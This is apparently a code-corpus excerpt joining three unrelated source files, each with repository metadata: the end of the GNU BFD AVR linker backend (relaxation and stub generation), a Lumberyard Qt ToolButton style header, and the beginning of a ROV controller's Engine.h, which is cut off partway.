+ 5); next_insn_lsb = bfd_get_8 (abfd, contents + irel->r_offset + 4); } if ((0x95 == next_insn_msb) && (0x08 == next_insn_lsb)) { /* The next insn is a ret. We now convert the call insn into a jmp instruction. */ code_lsb &= 0xfd; bfd_put_8 (abfd, code_lsb, contents + irel->r_offset); if (debug_relax) printf ("converted call/ret sequence at address 0x%x" " into jmp/ret sequence. Section is %s\n\n", (int) dot, sec->name); *again = TRUE; break; } } else if ((0xc0 == (code_msb & 0xf0)) || ((0x94 == (code_msb & 0xfe)) && (0x0c == (code_lsb & 0x0e)))) { /* This insn is a rjmp or a jmp. */ unsigned char next_insn_msb = 0; unsigned char next_insn_lsb = 0; int insn_size; if (0xc0 == (code_msb & 0xf0)) insn_size = 2; /* rjmp insn */ else insn_size = 4; /* jmp insn */ if (irel->r_offset + insn_size + 1 < sec->size) { next_insn_msb = bfd_get_8 (abfd, contents + irel->r_offset + insn_size + 1); next_insn_lsb = bfd_get_8 (abfd, contents + irel->r_offset + insn_size); } if ((0x95 == next_insn_msb) && (0x08 == next_insn_lsb)) { /* The next insn is a ret. We possibly could delete this ret. First we need to check for preceeding sbis/sbic/sbrs or cpse "skip" instructions. */ int there_is_preceeding_non_skip_insn = 1; bfd_vma address_of_ret; address_of_ret = dot + insn_size; if (debug_relax && (insn_size == 2)) printf ("found rjmp / ret sequence at address 0x%x\n", (int) dot); if (debug_relax && (insn_size == 4)) printf ("found jmp / ret sequence at address 0x%x\n", (int) dot); /* We have to make sure that there is a preceeding insn. */ if (irel->r_offset >= 2) { unsigned char preceeding_msb; unsigned char preceeding_lsb; preceeding_msb = bfd_get_8 (abfd, contents + irel->r_offset - 1); preceeding_lsb = bfd_get_8 (abfd, contents + irel->r_offset - 2); /* sbic. */ if (0x99 == preceeding_msb) there_is_preceeding_non_skip_insn = 0; /* sbis. */ if (0x9b == preceeding_msb) there_is_preceeding_non_skip_insn = 0; /* sbrc */ if ((0xfc == (preceeding_msb & 0xfe) && (0x00 == (preceeding_lsb & 0x08)))) there_is_preceeding_non_skip_insn = 0; /* sbrs */ if ((0xfe == (preceeding_msb & 0xfe) && (0x00 == (preceeding_lsb & 0x08)))) there_is_preceeding_non_skip_insn = 0; /* cpse */ if (0x10 == (preceeding_msb & 0xfc)) there_is_preceeding_non_skip_insn = 0; if (there_is_preceeding_non_skip_insn == 0) if (debug_relax) printf ("preceeding skip insn prevents deletion of" " ret insn at addr 0x%x in section %s\n", (int) dot + 2, sec->name); } else { /* There is no previous instruction. */ there_is_preceeding_non_skip_insn = 0; } if (there_is_preceeding_non_skip_insn) { /* We now only have to make sure that there is no local label defined at the address of the ret instruction and that there is no local relocation in this section pointing to the ret. */ int deleting_ret_is_safe = 1; unsigned int section_offset_of_ret_insn = irel->r_offset + insn_size; Elf_Internal_Sym *isym, *isymend; unsigned int sec_shndx; sec_shndx = _bfd_elf_section_from_bfd_section (abfd, sec); /* Check for local symbols. */ isym = (Elf_Internal_Sym *) symtab_hdr->contents; isymend = isym + symtab_hdr->sh_info; for (; isym < isymend; isym++) { if (isym->st_value == section_offset_of_ret_insn && isym->st_shndx == sec_shndx) { deleting_ret_is_safe = 0; if (debug_relax) printf ("local label prevents deletion of ret " "insn at address 0x%x\n", (int) dot + insn_size); } } /* Now check for global symbols. */ { int symcount; struct elf_link_hash_entry **sym_hashes; struct elf_link_hash_entry **end_hashes; symcount = (symtab_hdr->sh_size / sizeof (Elf32_External_Sym) - symtab_hdr->sh_info); sym_hashes = elf_sym_hashes (abfd); end_hashes = sym_hashes + symcount; for (; sym_hashes < end_hashes; sym_hashes++) { struct elf_link_hash_entry *sym_hash = *sym_hashes; if ((sym_hash->root.type == bfd_link_hash_defined || sym_hash->root.type == bfd_link_hash_defweak) && sym_hash->root.u.def.section == sec && sym_hash->root.u.def.value == section_offset_of_ret_insn) { deleting_ret_is_safe = 0; if (debug_relax) printf ("global label prevents deletion of " "ret insn at address 0x%x\n", (int) dot + insn_size); } } } /* Now we check for relocations pointing to ret. */ { Elf_Internal_Rela *irel; Elf_Internal_Rela *relend; Elf_Internal_Shdr *symtab_hdr; symtab_hdr = &elf_tdata (abfd)->symtab_hdr; relend = elf_section_data (sec)->relocs + sec->reloc_count; for (irel = elf_section_data (sec)->relocs; irel < relend; irel++) { bfd_vma reloc_target = 0; bfd_vma symval; Elf_Internal_Sym *isymbuf = NULL; /* Read this BFD's local symbols if we haven't done so already. */ if (isymbuf == NULL && symtab_hdr->sh_info != 0) { isymbuf = (Elf_Internal_Sym *) symtab_hdr->contents; if (isymbuf == NULL) isymbuf = bfd_elf_get_elf_syms (abfd, symtab_hdr, symtab_hdr->sh_info, 0, NULL, NULL, NULL); if (isymbuf == NULL) break; } /* Get the value of the symbol referred to by the reloc. */ if (ELF32_R_SYM (irel->r_info) < symtab_hdr->sh_info) { /* A local symbol. */ Elf_Internal_Sym *isym; asection *sym_sec; isym = isymbuf + ELF32_R_SYM (irel->r_info); sym_sec = bfd_section_from_elf_index (abfd, isym->st_shndx); symval = isym->st_value; /* If the reloc is absolute, it will not have a symbol or section associated with it. */ if (sym_sec) { symval += sym_sec->output_section->vma + sym_sec->output_offset; reloc_target = symval + irel->r_addend; } else { reloc_target = symval + irel->r_addend; /* Reference symbol is absolute. */ } } /* else ... reference symbol is extern. */ if (address_of_ret == reloc_target) { deleting_ret_is_safe = 0; if (debug_relax) printf ("ret from " "rjmp/jmp ret sequence at address" " 0x%x could not be deleted. ret" " is target of a relocation.\n", (int) address_of_ret); } } } if (deleting_ret_is_safe) { if (debug_relax) printf ("unreachable ret instruction " "at address 0x%x deleted.\n", (int) dot + insn_size); /* Delete two bytes of data. */ if (!elf32_avr_relax_delete_bytes (abfd, sec, irel->r_offset + insn_size, 2)) goto error_return; /* That will change things, so, we should relax again. Note that this is not required, and it may be slow. */ *again = TRUE; break; } } } } break; } } } if (contents != NULL && elf_section_data (sec)->this_hdr.contents != contents) { if (! link_info->keep_memory) free (contents); else { /* Cache the section contents for elf_link_input_bfd. */ elf_section_data (sec)->this_hdr.contents = contents; } } if (internal_relocs != NULL && elf_section_data (sec)->relocs != internal_relocs) free (internal_relocs); return TRUE; error_return: if (isymbuf != NULL && symtab_hdr->contents != (unsigned char *) isymbuf) free (isymbuf); if (contents != NULL && elf_section_data (sec)->this_hdr.contents != contents) free (contents); if (internal_relocs != NULL && elf_section_data (sec)->relocs != internal_relocs) free (internal_relocs); return FALSE; } /* This is a version of bfd_generic_get_relocated_section_contents which uses elf32_avr_relocate_section. For avr it's essentially a cut and paste taken from the H8300 port. The author of the relaxation support patch for avr had absolutely no clue what is happening here but found out that this part of the code seems to be important. */ static bfd_byte * elf32_avr_get_relocated_section_contents (bfd *output_bfd, struct bfd_link_info *link_info, struct bfd_link_order *link_order, bfd_byte *data, bfd_boolean relocatable, asymbol **symbols) { Elf_Internal_Shdr *symtab_hdr; asection *input_section = link_order->u.indirect.section; bfd *input_bfd = input_section->owner; asection **sections = NULL; Elf_Internal_Rela *internal_relocs = NULL; Elf_Internal_Sym *isymbuf = NULL; /* We only need to handle the case of relaxing, or of having a particular set of section contents, specially. */ if (relocatable || elf_section_data (input_section)->this_hdr.contents == NULL) return bfd_generic_get_relocated_section_contents (output_bfd, link_info, link_order, data, relocatable, symbols); symtab_hdr = &elf_tdata (input_bfd)->symtab_hdr; memcpy (data, elf_section_data (input_section)->this_hdr.contents, (size_t) input_section->size); if ((input_section->flags & SEC_RELOC) != 0 && input_section->reloc_count > 0) { asection **secpp; Elf_Internal_Sym *isym, *isymend; bfd_size_type amt; internal_relocs = (_bfd_elf_link_read_relocs (input_bfd, input_section, NULL, NULL, FALSE)); if (internal_relocs == NULL) goto error_return; if (symtab_hdr->sh_info != 0) { isymbuf = (Elf_Internal_Sym *) symtab_hdr->contents; if (isymbuf == NULL) isymbuf = bfd_elf_get_elf_syms (input_bfd, symtab_hdr, symtab_hdr->sh_info, 0, NULL, NULL, NULL); if (isymbuf == NULL) goto error_return; } amt = symtab_hdr->sh_info; amt *= sizeof (asection *); sections = bfd_malloc (amt); if (sections == NULL && amt != 0) goto error_return; isymend = isymbuf + symtab_hdr->sh_info; for (isym = isymbuf, secpp = sections; isym < isymend; ++isym, ++secpp) { asection *isec; if (isym->st_shndx == SHN_UNDEF) isec = bfd_und_section_ptr; else if (isym->st_shndx == SHN_ABS) isec = bfd_abs_section_ptr; else if (isym->st_shndx == SHN_COMMON) isec = bfd_com_section_ptr; else isec = bfd_section_from_elf_index (input_bfd, isym->st_shndx); *secpp = isec; } if (! elf32_avr_relocate_section (output_bfd, link_info, input_bfd, input_section, data, internal_relocs, isymbuf, sections)) goto error_return; if (sections != NULL) free (sections); if (isymbuf != NULL && symtab_hdr->contents != (unsigned char *) isymbuf) free (isymbuf); if (elf_section_data (input_section)->relocs != internal_relocs) free (internal_relocs); } return data; error_return: if (sections != NULL) free (sections); if (isymbuf != NULL && symtab_hdr->contents != (unsigned char *) isymbuf) free (isymbuf); if (internal_relocs != NULL && elf_section_data (input_section)->relocs != internal_relocs) free (internal_relocs); return NULL; } /* Determines the hash entry name for a particular reloc. It consists of the identifier of the symbol section and the added reloc addend and symbol offset relative to the section the symbol is attached to. */ static char * avr_stub_name (const asection *symbol_section, const bfd_vma symbol_offset, const Elf_Internal_Rela *rela) { char *stub_name; bfd_size_type len; len = 8 + 1 + 8 + 1 + 1; stub_name = bfd_malloc (len); sprintf (stub_name, "%08x+%08x", symbol_section->id & 0xffffffff, (unsigned int) ((rela->r_addend & 0xffffffff) + symbol_offset)); return stub_name; } /* Add a new stub entry to the stub hash. Not all fields of the new stub entry are initialised. */ static struct elf32_avr_stub_hash_entry * avr_add_stub (const char *stub_name, struct elf32_avr_link_hash_table *htab) { struct elf32_avr_stub_hash_entry *hsh; /* Enter this entry into the linker stub hash table. */ hsh = avr_stub_hash_lookup (&htab->bstab, stub_name, TRUE, FALSE); if (hsh == NULL) { (*_bfd_error_handler) (_("%B: cannot create stub entry %s"), NULL, stub_name); return NULL; } hsh->stub_offset = 0; return hsh; } /* We assume that there is already space allocated for the stub section contents and that before building the stubs the section size is initialized to 0. We assume that within the stub hash table entry, the absolute position of the jmp target has been written in the target_value field. We write here the offset of the generated jmp insn relative to the trampoline section start to the stub_offset entry in the stub hash table entry. */ static bfd_boolean avr_build_one_stub (struct bfd_hash_entry *bh, void *in_arg) { struct elf32_avr_stub_hash_entry *hsh; struct bfd_link_info *info; struct elf32_avr_link_hash_table *htab; bfd *stub_bfd; bfd_byte *loc; bfd_vma target; bfd_vma starget; /* Basic opcode */ bfd_vma jmp_insn = 0x0000940c; /* Massage our args to the form they really have. */ hsh = avr_stub_hash_entry (bh); if (!hsh->is_actually_needed) return TRUE; info = (struct bfd_link_info *) in_arg; htab = avr_link_hash_table (info); if (htab == NULL) return FALSE; target = hsh->target_value; /* Make a note of the offset within the stubs for this entry. */ hsh->stub_offset = htab->stub_sec->size; loc = htab->stub_sec->contents + hsh->stub_offset; stub_bfd = htab->stub_sec->owner; if (debug_stubs) printf ("Building one Stub. Address: 0x%x, Offset: 0x%x\n", (unsigned int) target, (unsigned int) hsh->stub_offset); /* We now have to add the information on the jump target to the bare opcode bits already set in jmp_insn. */ /* Check for the alignment of the address. */ if (target & 1) return FALSE; starget = target >> 1; jmp_insn |= ((starget & 0x10000) | ((starget << 3) & 0x1f00000)) >> 16; bfd_put_16 (stub_bfd, jmp_insn, loc); bfd_put_16 (stub_bfd, (bfd_vma) starget & 0xffff, loc + 2); htab->stub_sec->size += 4; /* Now add the entries in the address mapping table if there is still space left. */ { unsigned int nr; nr = htab->amt_entry_cnt + 1; if (nr <= htab->amt_max_entry_cnt) { htab->amt_entry_cnt = nr; htab->amt_stub_offsets[nr - 1] = hsh->stub_offset; htab->amt_destination_addr[nr - 1] = target; } } return TRUE; } static bfd_boolean avr_mark_stub_not_to_be_necessary (struct bfd_hash_entry *bh, void *in_arg) { struct elf32_avr_stub_hash_entry *hsh; struct elf32_avr_link_hash_table *htab; htab = in_arg; hsh = avr_stub_hash_entry (bh); hsh->is_actually_needed = FALSE; return TRUE; } static bfd_boolean avr_size_one_stub (struct bfd_hash_entry *bh, void *in_arg) { struct elf32_avr_stub_hash_entry *hsh; struct elf32_avr_link_hash_table *htab; int size; /* Massage our args to the form they really have. */ hsh = avr_stub_hash_entry (bh); htab = in_arg; if (hsh->is_actually_needed) size = 4; else size = 0; htab->stub_sec->size += size; return TRUE; } void elf32_avr_setup_params (struct bfd_link_info *info, bfd *avr_stub_bfd, asection *avr_stub_section, bfd_boolean no_stubs, bfd_boolean deb_stubs, bfd_boolean deb_relax, bfd_vma pc_wrap_around, bfd_boolean call_ret_replacement) { struct elf32_avr_link_hash_table *htab = avr_link_hash_table (info); if (htab == NULL) return; htab->stub_sec = avr_stub_section; htab->stub_bfd = avr_stub_bfd; htab->no_stubs = no_stubs; debug_relax = deb_relax; debug_stubs = deb_stubs; avr_pc_wrap_around = pc_wrap_around; avr_replace_call_ret_sequences = call_ret_replacement; } /* Set up various things so that we can make a list of input sections for each output section included in the link. Returns -1 on error, 0 when no stubs will be needed, and 1 on success. It also sets information on the stubs bfd and the stub section in the info struct. */ int elf32_avr_setup_section_lists (bfd *output_bfd, struct bfd_link_info *info) { bfd *input_bfd; unsigned int bfd_count; int top_id, top_index; asection *section; asection **input_list, **list; bfd_size_type amt; struct elf32_avr_link_hash_table *htab = avr_link_hash_table(info); if (htab == NULL || htab->no_stubs) return 0; /* Count the number of input BFDs and find the top input section id. */ for (input_bfd = info->input_bfds, bfd_count = 0, top_id = 0; input_bfd != NULL; input_bfd = input_bfd->link_next) { bfd_count += 1; for (section = input_bfd->sections; section != NULL; section = section->next) if (top_id < section->id) top_id = section->id; } htab->bfd_count = bfd_count; /* We can't use output_bfd->section_count here to find the top output section index as some sections may have been removed, and strip_excluded_output_sections doesn't renumber the indices. */ for (section = output_bfd->sections, top_index = 0; section != NULL; section = section->next) if (top_index < section->index) top_index = section->index; htab->top_index = top_index; amt = sizeof (asection *) * (top_index + 1); input_list = bfd_malloc (amt); htab->input_list = input_list; if (input_list == NULL) return -1; /* For sections we aren't interested in, mark their entries with a value we can check later. */ list = input_list + top_index; do *list = bfd_abs_section_ptr; while (list-- != input_list); for (section = output_bfd->sections; section != NULL; section = section->next) if ((section->flags & SEC_CODE) != 0) input_list[section->index] = NULL; return 1; } /* Read in all local syms for all input bfds, and create hash entries for export stubs if we are building a multi-subspace shared lib. Returns -1 on error, 0 otherwise. */ static int get_local_syms (bfd *input_bfd, struct bfd_link_info *info) { unsigned int bfd_indx; Elf_Internal_Sym *local_syms, **all_local_syms; struct elf32_avr_link_hash_table *htab = avr_link_hash_table (info); if (htab == NULL) return -1; /* We want to read in symbol extension records only once. To do this we need to read in the local symbols in parallel and save them for later use; so hold pointers to the local symbols in an array. */ bfd_size_type amt = sizeof (Elf_Internal_Sym *) * htab->bfd_count; all_local_syms = bfd_zmalloc (amt); htab->all_local_syms = all_local_syms; if (all_local_syms == NULL) return -1; /* Walk over all the input BFDs, swapping in local symbols. If we are creating a shared library, create hash entries for the export stubs. */ for (bfd_indx = 0; input_bfd != NULL; input_bfd = input_bfd->link_next, bfd_indx++) { Elf_Internal_Shdr *symtab_hdr; /* We'll need the symbol table in a second. */ symtab_hdr = &elf_tdata (input_bfd)->symtab_hdr; if (symtab_hdr->sh_info == 0) continue; /* We need an array of the local symbols attached to the input bfd. */ local_syms = (Elf_Internal_Sym *) symtab_hdr->contents; if (local_syms == NULL) { local_syms = bfd_elf_get_elf_syms (input_bfd, symtab_hdr, symtab_hdr->sh_info, 0, NULL, NULL, NULL); /* Cache them for elf_link_input_bfd. */ symtab_hdr->contents = (unsigned char *) local_syms; } if (local_syms == NULL) return -1; all_local_syms[bfd_indx] = local_syms; } return 0; } #define ADD_DUMMY_STUBS_FOR_DEBUGGING 0 bfd_boolean elf32_avr_size_stubs (bfd *output_bfd, struct bfd_link_info *info, bfd_boolean is_prealloc_run) { struct elf32_avr_link_hash_table *htab; int stub_changed = 0; htab = avr_link_hash_table (info); if (htab == NULL) return FALSE; /* At this point we initialize htab->vector_base To the start of the text output section. */ htab->vector_base = htab->stub_sec->output_section->vma; if (get_local_syms (info->input_bfds, info)) { if (htab->all_local_syms) goto error_ret_free_local; return FALSE; } if (ADD_DUMMY_STUBS_FOR_DEBUGGING) { struct elf32_avr_stub_hash_entry *test; test = avr_add_stub ("Hugo",htab); test->target_value = 0x123456; test->stub_offset = 13; test = avr_add_stub ("Hugo2",htab); test->target_value = 0x84210; test->stub_offset = 14; } while (1) { bfd *input_bfd; unsigned int bfd_indx; /* We will have to re-generate the stub hash table each time anything in memory has changed. */ bfd_hash_traverse (&htab->bstab, avr_mark_stub_not_to_be_necessary, htab); for (input_bfd = info->input_bfds, bfd_indx = 0; input_bfd != NULL; input_bfd = input_bfd->link_next, bfd_indx++) { Elf_Internal_Shdr *symtab_hdr; asection *section; Elf_Internal_Sym *local_syms; /* We'll need the symbol table in a second. */ symtab_hdr = &elf_tdata (input_bfd)->symtab_hdr; if (symtab_hdr->sh_info == 0) continue; local_syms = htab->all_local_syms[bfd_indx]; /* Walk over each section attached to the input bfd. */ for (section = input_bfd->sections; section != NULL; section = section->next) { Elf_Internal_Rela *internal_relocs, *irelaend, *irela; /* If there aren't any relocs, then there's nothing more to do. */ if ((section->flags & SEC_RELOC) == 0 || section->reloc_count == 0) continue; /* If this section is a link-once section that will be discarded, then don't create any stubs. */ if (section->output_section == NULL || section->output_section->owner != output_bfd) continue; /* Get the relocs. */ internal_relocs = _bfd_elf_link_read_relocs (input_bfd, section, NULL, NULL, info->keep_memory); if (internal_relocs == NULL) goto error_ret_free_local; /* Now examine each relocation. */ irela = internal_relocs; irelaend = irela + section->reloc_count; for (; irela < irelaend; irela++) { unsigned int r_type, r_indx; struct elf32_avr_stub_hash_entry *hsh; asection *sym_sec; bfd_vma sym_value; bfd_vma destination; struct elf_link_hash_entry *hh; char *stub_name; r_type = ELF32_R_TYPE (irela->r_info); r_indx = ELF32_R_SYM (irela->r_info); /* Only look for 16 bit GS relocs. No other reloc will need a stub. */ if (!((r_type == R_AVR_16_PM) || (r_type == R_AVR_LO8_LDI_GS) || (r_type == R_AVR_HI8_LDI_GS))) continue; /* Now determine the call target, its name, value, section. */ sym_sec = NULL; sym_value = 0; destination = 0; hh = NULL; if (r_indx < symtab_hdr->sh_info) { /* It's a local symbol. */ Elf_Internal_Sym *sym; Elf_Internal_Shdr *hdr; sym = local_syms + r_indx; hdr = elf_elfsections (input_bfd)[sym->st_shndx]; sym_sec = hdr->bfd_section; if (ELF_ST_TYPE (sym->st_info) != STT_SECTION) sym_value = sym->st_value; destination = (sym_value + irela->r_addend + sym_sec->output_offset + sym_sec->output_section->vma); } else { /* It's an external symbol. */ int e_indx; e_indx = r_indx - symtab_hdr->sh_info; hh = elf_sym_hashes (input_bfd)[e_indx]; while (hh->root.type == bfd_link_hash_indirect || hh->root.type == bfd_link_hash_warning) hh = (struct elf_link_hash_entry *) (hh->root.u.i.link); if (hh->root.type == bfd_link_hash_defined || hh->root.type == bfd_link_hash_defweak) { sym_sec = hh->root.u.def.section; sym_value = hh->root.u.def.value; if (sym_sec->output_section != NULL) destination = (sym_value + irela->r_addend + sym_sec->output_offset + sym_sec->output_section->vma); } else if (hh->root.type == bfd_link_hash_undefweak) { if (! info->shared) continue; } else if (hh->root.type == bfd_link_hash_undefined) { if (! (info->unresolved_syms_in_objects == RM_IGNORE && (ELF_ST_VISIBILITY (hh->other) == STV_DEFAULT))) continue; } else { bfd_set_error (bfd_error_bad_value); error_ret_free_internal: if (elf_section_data (section)->relocs == NULL) free (internal_relocs); goto error_ret_free_local; } } if (! avr_stub_is_required_for_16_bit_reloc (destination - htab->vector_base)) { if (!is_prealloc_run) /* We are having a reloc that does't need a stub. */ continue; /* We don't right now know if a stub will be needed. Let's rather be on the safe side. */ } /* Get the name of this stub. */ stub_name = avr_stub_name (sym_sec, sym_value, irela); if (!stub_name) goto error_ret_free_internal; hsh = avr_stub_hash_lookup (&htab->bstab, stub_name, FALSE, FALSE); if (hsh != NULL) { /* The proper stub has already been created. Mark it to be used and write the possibly changed destination value. */ hsh->is_actually_needed = TRUE; hsh->target_value = destination; free (stub_name); continue; } hsh = avr_add_stub (stub_name, htab); if (hsh == NULL) { free (stub_name); goto error_ret_free_internal; } hsh->is_actually_needed = TRUE; hsh->target_value = destination; if (debug_stubs) printf ("Adding stub with destination 0x%x to the" " hash table.\n", (unsigned int) destination); if (debug_stubs) printf ("(Pre-Alloc run: %i)\n", is_prealloc_run); stub_changed = TRUE; } /* We're done with the internal relocs, free them. */ if (elf_section_data (section)->relocs == NULL) free (internal_relocs); } } /* Re-Calculate the number of needed stubs. */ htab->stub_sec->size = 0; bfd_hash_traverse (&htab->bstab, avr_size_one_stub, htab); if (!stub_changed) break; stub_changed = FALSE; } free (htab->all_local_syms); return TRUE; error_ret_free_local: free (htab->all_local_syms); return FALSE; } /* Build all the stubs associated with the current output file. The stubs are kept in a hash table attached to the main linker hash table. We also set up the .plt entries for statically linked PIC functions here. This function is called via hppaelf_finish in the linker. */ bfd_boolean elf32_avr_build_stubs (struct bfd_link_info *info) { asection *stub_sec; struct bfd_hash_table *table; struct elf32_avr_link_hash_table *htab; bfd_size_type total_size = 0; htab = avr_link_hash_table (info); if (htab == NULL) return FALSE; /* In case that there were several stub sections: */ for (stub_sec = htab->stub_bfd->sections; stub_sec != NULL; stub_sec = stub_sec->next) { bfd_size_type size; /* Allocate memory to hold the linker stubs. */ size = stub_sec->size; total_size += size; stub_sec->contents = bfd_zalloc (htab->stub_bfd, size); if (stub_sec->contents == NULL && size != 0) return FALSE; stub_sec->size = 0; } /* Allocate memory for the adress mapping table. */ htab->amt_entry_cnt = 0; htab->amt_max_entry_cnt = total_size / 4; htab->amt_stub_offsets = bfd_malloc (sizeof (bfd_vma) * htab->amt_max_entry_cnt); htab->amt_destination_addr = bfd_malloc (sizeof (bfd_vma) * htab->amt_max_entry_cnt ); if (debug_stubs) printf ("Allocating %i entries in the AMT\n", htab->amt_max_entry_cnt); /* Build the stubs as directed by the stub hash table. */ table = &htab->bstab; bfd_hash_traverse (table, avr_build_one_stub, info); if (debug_stubs) printf ("Final Stub section Size: %i\n", (int) htab->stub_sec->size); return TRUE; } #define ELF_ARCH bfd_arch_avr #define ELF_MACHINE_CODE EM_AVR #define ELF_MACHINE_ALT1 EM_AVR_OLD #define ELF_MAXPAGESIZE 1 #define TARGET_LITTLE_SYM bfd_elf32_avr_vec #define TARGET_LITTLE_NAME "elf32-avr" #define bfd_elf32_bfd_link_hash_table_create elf32_avr_link_hash_table_create #define bfd_elf32_bfd_link_hash_table_free elf32_avr_link_hash_table_free #define elf_info_to_howto avr_info_to_howto_rela #define elf_info_to_howto_rel NULL #define elf_backend_relocate_section elf32_avr_relocate_section #define elf_backend_check_relocs elf32_avr_check_relocs #define elf_backend_can_gc_sections 1 #define elf_backend_rela_normal 1 #define elf_backend_final_write_processing \ bfd_elf_avr_final_write_processing #define elf_backend_object_p elf32_avr_object_p #define bfd_elf32_bfd_relax_section elf32_avr_relax_section #define bfd_elf32_bfd_get_relocated_section_contents \ elf32_avr_get_relocated_section_contents #include "elf32-target.h"
34.726295
94
0.560469
[ "object", "vector" ]
5cec6df0a0025c193959f7f9d06735eeb07ad78e
3,236
h
C
dev/Code/Framework/AzQtComponents/AzQtComponents/Components/Widgets/ToolButton.h
brianherrera/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
[ "AML" ]
1,738
2017-09-21T10:59:12.000Z
2022-03-31T21:05:46.000Z
dev/Code/Framework/AzQtComponents/AzQtComponents/Components/Widgets/ToolButton.h
ArchitectureStudios/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
[ "AML" ]
427
2017-09-29T22:54:36.000Z
2022-02-15T19:26:50.000Z
dev/Code/Framework/AzQtComponents/AzQtComponents/Components/Widgets/ToolButton.h
ArchitectureStudios/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
[ "AML" ]
671
2017-09-21T08:04:01.000Z
2022-03-29T14:30:07.000Z
/* * All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or * its licensors. * * For complete copyright and license terms please see the LICENSE at the root of this * distribution (the "License"). All use of this software is governed by the License, * or, if provided, by the license below or the license accompanying this file. Do not * remove or modify any license notices. This file is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * */ #pragma once #include <AzQtComponents/AzQtComponentsAPI.h> #include <QProxyStyle> class QSettings; class QSize; class QStyleOption; class QWidget; namespace AzQtComponents { class Style; //! Class to handle styling and painting of QToolButton controls. class AZ_QT_COMPONENTS_API ToolButton { public: //! Style configuration for the ToolButton class. struct Config { int buttonIconSize; //!< The default size of button icons in pixels. int defaultButtonMargin; //!< Margin around ToolButton controls, in pixels. All directions get the same margin. int menuIndicatorWidth; //!< Width of the menu indicator arrow in pixels. QColor checkedStateBackgroundColor; //!< Background color for checkable ToolButtons set to the checked state. QString menuIndicatorIcon; //!< Path to the indicator icon. Svg images recommended. QSize menuIndicatorIconSize; //!< Size of the indicator icon. Size must be proportional to the icon's ratio. }; //! Sets the ToolButton style configuration. //! @param settings The settings object to load the configuration from. //! @return The new configuration of the ToolButton. static Config loadConfig(QSettings& settings); //! Gets the default ToolButton style configuration. static Config defaultConfig(); private: friend class Style; static bool polish(Style* style, QWidget* widget, const Config& config); static int buttonIconSize(const Style* style, const QStyleOption* option, const QWidget* widget, const Config& config); static int buttonMargin(const Style* style, const QStyleOption* option, const QWidget* widget, const Config& config); static int menuButtonIndicatorWidth(const Style* style, const QStyleOption* option, const QWidget* widget, const Config& config); static QSize sizeFromContents(const Style* style, QStyle::ContentsType type, const QStyleOption* option, const QSize& contentSize, const QWidget* widget, const Config& config); static QRect subControlRect(const Style* style, const QStyleOptionComplex* option, QStyle::SubControl subControl, const QWidget* widget, const Config& config); static bool drawToolButton(const Style* style, const QStyleOptionComplex* option, QPainter* painter, const QWidget* widget, const Config& config); static bool drawIndicatorArrowDown(const Style* style, const QStyleOption* option, QPainter* painter, const QWidget* widget, const Config& config); }; } // namespace AzQtComponents
48.298507
184
0.705501
[ "object" ]
5cedd69cea4318dc7f89601abcf25f4d0257704b
198
h
C
benchmarks/milc/milc_qcd-7.8.1/arb_dirac_invert/addsite_fp_bi.h
mcopik/perf-taint
16613b83f504c114a77f7a22d587c29ce52d7a4b
[ "BSD-3-Clause" ]
2
2020-10-20T09:27:07.000Z
2021-03-22T05:10:24.000Z
benchmarks/milc/milc_qcd-7.8.1/arb_dirac_invert/addsite_fp_bi.h
spcl/perf-taint
16613b83f504c114a77f7a22d587c29ce52d7a4b
[ "BSD-3-Clause" ]
11
2021-06-03T08:55:28.000Z
2022-01-20T19:38:29.000Z
benchmarks/milc/milc_qcd-7.8.1/arb_dirac_invert/addsite_fp_bi.h
mcopik/perf-taint
16613b83f504c114a77f7a22d587c29ce52d7a4b
[ "BSD-3-Clause" ]
1
2020-12-05T09:53:50.000Z
2020-12-05T09:53:50.000Z
/* Addition to site structure for biconjugate gradient inverter */ wilson_vector sss; /* internal biconjugate gradient vector */ wilson_vector tmp; /* auxiliary for other internal biCG vectors */
49.5
67
0.777778
[ "vector" ]
5cf0aa256b3cf453bf6ae4506f1db52649b31e2b
3,357
h
C
ROVController/src/Core/Engine.h
dakriy/Rosario-ROV
3d106ea02010c91c4e0b458a3c39b81135be539f
[ "MIT" ]
3
2019-04-15T00:31:00.000Z
2019-05-16T01:51:29.000Z
ROVController/src/Core/Engine.h
dakriy/Rosario-ROV
3d106ea02010c91c4e0b458a3c39b81135be539f
[ "MIT" ]
28
2019-04-08T18:41:00.000Z
2019-06-28T03:38:31.000Z
ROVController/src/Core/Engine.h
dakriy/Rosario-ROV
3d106ea02010c91c4e0b458a3c39b81135be539f
[ "MIT" ]
1
2019-11-26T22:43:26.000Z
2019-11-26T22:43:26.000Z
#pragma once /** * @file Engine.h * Class definition for the render engine * It handles frame actions and rendering * * @author dakriy */ #include "../Frames/IFrame.h" #include "EventHandler.h" #include <vector> #include <queue> #include <mutex> #include "Event.h" #include "../UI/AppLog.h" namespace Core { /** * List of actions we can do to a frame * Must end with FrameActionCount */ enum FrameAction { PopFrame, PushFrame, ReplaceTopFrame, FrameActionCount, }; /** * Short for Frame Action. * It holds the action and the frame getting the action. */ typedef struct FAction { FAction() = default; FAction(FrameAction a, Frames::IFrame* f) : action(a), frame(f){} FrameAction action = static_cast<FrameAction>(0); std::unique_ptr<Frames::IFrame> frame = nullptr; } FAction; class Engine { protected: // Frames currently on the stack std::vector<std::unique_ptr<Frames::IFrame>> frame_stack_; std::vector<Interfaces::IUpdateable*> update_stack_; std::queue<std::unique_ptr<Core::Event>> core_events_; // Event processor void Events(); // Frame updater void Update(); // Frame renderer void Render(); void ProcessCustomEvents(); /** * Process a frame action * * @param f_action the frame action to do */ void ProcessFrameAction(FAction& f_action); // The global render window sf::RenderWindow * window_; // Rate clock to get the current dt from last frame render off of sf::Clock rate_clock_; // Global clock to keep track of time passing when updating frames sf::Clock * global_clock_; // Frame action queue std::vector<FAction> frame_action_list_; EventHandler<sf::Event, sf::Event::EventType::Count>* ev_; EventHandler<Core::Event, Core::Event::EventType::Count>* cev_; CORE_EVENT_FUNC_INDEX messageLog; CORE_EVENT_FUNC_INDEX batteryLog; std::mutex coreEventHandlerLock; public: /** * Engine Constructor * * @param w window to render onto * @param ev event hander to process events off of * @param cev core event handler to process core events off of * @param glbClk global clock to keep time off of */ Engine(sf::RenderWindow * w, EventHandler<sf::Event, sf::Event::EventType::Count> * ev, EventHandler<Core::Event, 